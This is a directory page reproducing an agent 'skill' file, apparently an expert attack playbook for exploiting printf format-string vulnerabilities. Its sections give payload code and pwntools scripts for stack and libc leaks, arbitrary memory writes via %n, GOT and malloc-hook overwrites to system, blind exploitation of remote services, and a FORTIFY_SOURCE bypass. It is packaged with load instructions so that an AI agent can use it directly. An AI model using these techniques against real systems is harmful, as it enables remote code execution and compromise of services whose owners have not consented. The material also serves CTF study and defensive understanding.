Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

format-string-exploitation

`printf` 系関数がユーザー制御のフォーマット文字列を受け取る脆弱性を悪用するプレイブック。`%p`/`%s` による任意のスタック読み取り、`%n`/`%hn`/`%hhn` による任意メモリ書き込み、GOT/フック上書き、カナリア/libc/PIEリークなどの攻撃手法を扱う際に使用する。

description の原文を見る

>- Format string exploitation playbook. Use when printf-family functions receive user-controlled format strings, enabling arbitrary stack reads (%p/%s), arbitrary memory writes (%n/%hn/%hhn), GOT/hook overwrites, and canary/libc/PIE leaks.

SKILL.md 本文

SKILL: Format String Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert フォーマット文字列テクニック。スタック読み取り、%n による任意書き込み、GOT 上書き、__malloc_hook 上書き、ポインタチェーンエクスプロイテーション、ブラインドフォーマット文字列、FORTIFY_SOURCE バイパス、64ビット ヌルバイト処理、pwntools オートメーション をカバー。ctf-wiki fmtstr、CTF パターン、実世界のシナリオから抽出。ベースモデルは位置パラメータオフセットの計算ミスやフォーマット文字列後の64ビットアドレス配置忘れが多い。

0. RELATED ROUTING

  • stack-overflow-and-rop — フォーマット文字列リークとスタックオーバーフロー組み合わせで完全エクスプロイト
  • binary-protection-bypass — フォーマット文字列が主要なカナリア/PIE/ASLR リーク手法
  • arbitrary-write-to-rce — フォーマット文字列書き込みプリミティブをコード実行ターゲットへ変換
  • heap-exploitation — フォーマット文字列経由ヒープアドレスリークでヒープエクスプロイテーション

1. VULNERABILITY IDENTIFICATION

脆弱なパターン

printf(user_input);          // VULNERABLE: ユーザーがフォーマット文字列を制御
fprintf(fp, user_input);     // VULNERABLE
sprintf(buf, user_input);    // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE

printf("%s", user_input);    // SAFE: フォーマット文字列は固定

クイックテスト

入力: AAAA%p%p%p%p%p%p%p%p
出力にスタック値 (16進アドレス) が表示される場合: フォーマット文字列確定
出力内の 0x4141414141414141 を探して入力オフセットを特定

2. READING MEMORY

スタックリーク (%p)

フォーマット動作用途
%p次のスタック値をポインタとして出力順序的スタックダンプ
%N$pN番目パラメータをポインタとして出力直接位置アクセス
%N$lx%p と同じだが明示的16進 (64ビット)ポータブル
%N$sN番目パラメータを文字列ポインタとしてデリファレンスポインタ値のメモリ読み取り

入力オフセットの特定

# 送信: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# 出力: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
#                                                           ↑ offset = 6 (例)
# または自動化:
for i in range(1, 30):
    io.sendline(f'AAAA%{i}$p')
    if '0x41414141' in io.recvline():
        print(f'Offset = {i}')
        break

特定値のリーク

ターゲット手法スタック位置
カナリア%N$p (N = フォーマット文字列からカナリアまでのオフセット)通常は buf_size/8 + 数個
保存 RBP%N$p (リターンアドレスのすぐ上)スタックアドレスをリーク → スタックベース
リターンアドレス%N$p.text アドレスをリーク (PIE ベース = leak & ~0xfff - offset)
Libc アドレス%N$p (スタック上の __libc_start_main+XX リターン指す N)libc ベース = leak - offset

任意アドレス読み取り (%s)

# 32ビット: ターゲットアドレスをフォーマット文字列の開始に配置
payload = p32(target_addr) + b'%N$s'  # N = target_addr がスタック上に現れるオフセット

# 64ビット: アドレスはヌルバイト含有 → フォーマット指定子の後に配置
payload = b'%8$sAAAA' + p64(target_addr)  # %8$s がオフセット8 (アドレス位置) から読み取り

3. WRITING MEMORY (%n)

書き込み指定子

指定子書き込みバイト数
%n4 バイト (int)出力文字数合計
%hn2 バイト (short)出力文字数合計 (mod 0x10000)
%hhn1 バイト (char)出力文字数合計 (mod 0x100)
%ln8 バイト (long)出力文字数合計

任意書き込みテクニック

目標: 値 V をアドレス A に書き込む。

32ビット (アドレスが直接スタック上):

# %hn を使用して一度に2バイト書き込み
# ターゲットアドレスをフォーマット文字列内に配置 (スタック上に現れる)
payload  = p32(target_addr)       # 下位2バイト用
payload += p32(target_addr + 2)   # 上位2バイト用
# 各 %hn 書き込みのパディング計算
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()

64ビット (アドレスはフォーマット指定子の後):

# アドレスはヌルバイト (0x00007fXXXXXXXX) を含有し文字列を終了
# 解決策: フォーマット指定子の後にアドレスを配置

# ステップ 1: フォーマット文字列部分 (ヌルバイトなし)
fmt = b'%Xc%N$hn%Yc%M$hn'
# ステップ 2: 8バイト境界にパッド
fmt = fmt.ljust(align, b'A')
# ステップ 3: ターゲットアドレス追加
fmt += p64(target_addr)
fmt += p64(target_addr + 2)

%hhn による1バイト単位の書き込み

精密な1バイト単位書き込み (64ビットで48ビットアドレス = 6回書き込み):

writes = {}
for i in range(6):
    byte_val = (value >> (i * 8)) & 0xff
    writes[target_addr + i] = byte_val

# pwntools が計算を処理:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

4. PWNTOOLS fmtstr_payload()

from pwn import *

# GOT エントリをターゲットアドレスで上書き
payload = fmtstr_payload(
    offset,                    # 入力が現れるスタックオフセット
    {elf.got['printf']: libc.symbols['system']},  # {アドレス: 値}
    numbwritten=0,             # 入力前に既に出力されたバイト数
    write_size='short'         # 'byte', 'short', または 'int'
)

# 64ビットでアドレスがフォーマット文字列後の場合:
# fmtstr_payload が自動的に処理

FmtStr クラス (インタラクティブエクスプロイテーション)

from pwn import *

def send_payload(payload):
    io.sendline(payload)
    return io.recvline()

fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset は自動検出
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()

5. GOT OVERWRITE VIA FORMAT STRING

一般的なターゲット

上書き対象値トリガー
printf@GOTsystem次の printf(user_input)system(user_input), /bin/sh 送信
strlen@GOTsystemstrlen(user_input) が呼ばれた場合
puts@GOTsystemputs(user_input) が呼ばれた場合
atoi@GOTsystematoi(user_input) が呼ばれた場合 ("sh" を "数字" として送信)
__stack_chk_fail@GOT制御アドレスカナリアチェック完全バイパス
exit@GOTmainマルチショットエクスプロイト用無限ループ作成

フックターゲット (glibc < 2.34)

ターゲットワンガジェットトリガー
__malloc_hookone_gadget アドレスprintf で大規模フォーマット → 内部 malloc
__free_hooksystemfree("/bin/sh") トリガー

6. STACK POINTER CHAIN EXPLOITATION

フォーマット文字列がスタック上に直接ない場合 (例: ヒープバッファに格納、スタックポインタで参照)、スタック上のポインタチェーンを使用して任意書き込み実現。

二段階書き込み

スタック:
  [オフセット A] → ptr_X (別のスタックアドレスを指すスタックアドレス)
  [オフセット B] → ptr_Y (ptr_X のターゲット)

段階1: %A$hn で ptr_X の下位バイト修正 → ptr_X が target_addr を指すように
段階2: %B$n で修正 ptr_X を通して書き込み → target_addr に書き込み

これは既存ポインタチェーンをスタック上で見つけることが必要 (例: 保存フレームポインタチェーン: rbp → prev_rbp → prev_prev_rbp)。

ポインタチェーン検出

# %p でスタックをリーク、以下を探す:
# 1. オフセット N の別のスタックアドレス B を指すスタックアドレス A
# 2. オフセット M の別のスタックアドレス B
# A の値を修正 (%N$hn 使用) で B が指す先を変更
# その後 B を通して書き込み (%M$hn 使用) で target に書き込み

7. BLIND FORMAT STRING

リモートサービス、バイナリなし、ソースなし — ブラインドフォーマット文字列エクスプロイト。

方法論

ステップ動作目的
1%p × 50 を送信スタックダンプ、アドレスパターン特定
2オフセット特定libc アドレス (0x7f...)、スタックアドレス (0x7ff...)、コードアドレス検出
3入力オフセット検出N=1..50 で AAAA%N$p 送信、0x41414141 を検出
4バイナリベース特定コードアドレスから PIE ベース露見 (PIE なしなら固定ベース)
5GOT エントリリークバイナリベース判明時、%N$s で GOT アドレス経由リーク
6Libc ベース計算GOT 値 - libc シンボルオフセット
7GOT 上書き%n で GOT エントリを system アドレスで再書き込み

8. FORTIFY_SOURCE BYPASS

FORTIFY_SOURCE (gcc -D_FORTIFY_SOURCE=2) が printf__printf_chk で置換し、%N$n (位置指定書き込み) を禁止

バイパステクニック

手法詳細
位置指定なし %hn を順序利用正確なバイト数出力、%hn、調整、%hn — 不安定だが機能
スタックベースエクスプロイトフォーマット文字列がスタック上なら、スタック位置制御で非位置指定 %n 使用
ヒープオーバーフロー代替FORTIFY がヒープ保護しない — ヒープバグ組み合わせ
printf へのリターンROP でバイナリまたは libc の未保護 printf 呼び出し

9. 64-BIT CONSIDERATIONS

課題解決策
アドレスが \x00 (ヌルバイト、文字列終了) 含有フォーマット指定子の後にアドレス配置、境界揃え
アドレス幅: 6有意バイト3 × %hn (各2バイト) または 6 × %hhn 書き込み
より大きいスタックオフセット範囲入力がオフセット 6+ で現れる可能性 (6レジスタ引数保存)
48ビットアドレス空間64ビットの下位48ビットのみ使用

レイアウトテンプレート (64ビット)

[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
 ← ヌルバイトなし →                              ← ヌルバイト OK (fmt 後) →

10. DECISION TREE

フォーマット文字列脆弱性確定 (printf(user_input))
├── FORTIFY_SOURCE 有効? (__printf_chk)
│   ├── はい → 位置指定 %n ブロック
│   │   ├── 位置指定なし %n 可能? → 非位置指定書き込み
│   │   └── 別のプリミティブ組み合わせ (ヒープ、ROP)
│   └── いいえ → 完全位置指定 %n 利用可
├── 最初に何が必要?
│   ├── カナリアリーク → %N$p (カナリアスタックオフセット)
│   ├── PIE ベースリーク → %N$p (リターンアドレス) → ベース = leak - 既知オフセット
│   ├── Libc ベースリーク → %N$p (スタック上 __libc_start_main リターン)
│   ├── ヒープベースリーク → %N$p (スタック上ヒープポインタ)
│   └── 特定アドレスリーク → %N$s (スタック上ターゲットアドレス)
├── アーキテクチャ?
│   ├── 32ビット → フォーマット文字列開始にアドレス
│   └── 64ビット → フォーマット文字列後にアドレス (ヌルバイト問題)
├── 書き込みターゲット?
│   ├── 部分 RELRO → GOT 上書き (printf→system, atoi→system)
│   ├── 完全 RELRO → __malloc_hook または __free_hook (2.34 前)
│   ├── 完全 RELRO + glibc ≥ 2.34 → _IO_FILE、exit_funcs、TLS_dtor_list ターゲット
│   └── スタックリターンアドレス → 直接上書き (ASLR バイパス時)
├── 単一ショットまたはマルチショット?
│   ├── ループ (マルチショット) → GOT エントリ段階的上書き、ポインタチェーン使用
│   └── ワンショット → fmtstr_payload() で全書き込み単一ペイロード
└── 入力がスタック上にない? (ヒープバッファ)
    └── 間接書き込みにスタックポインタチェーン使用

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT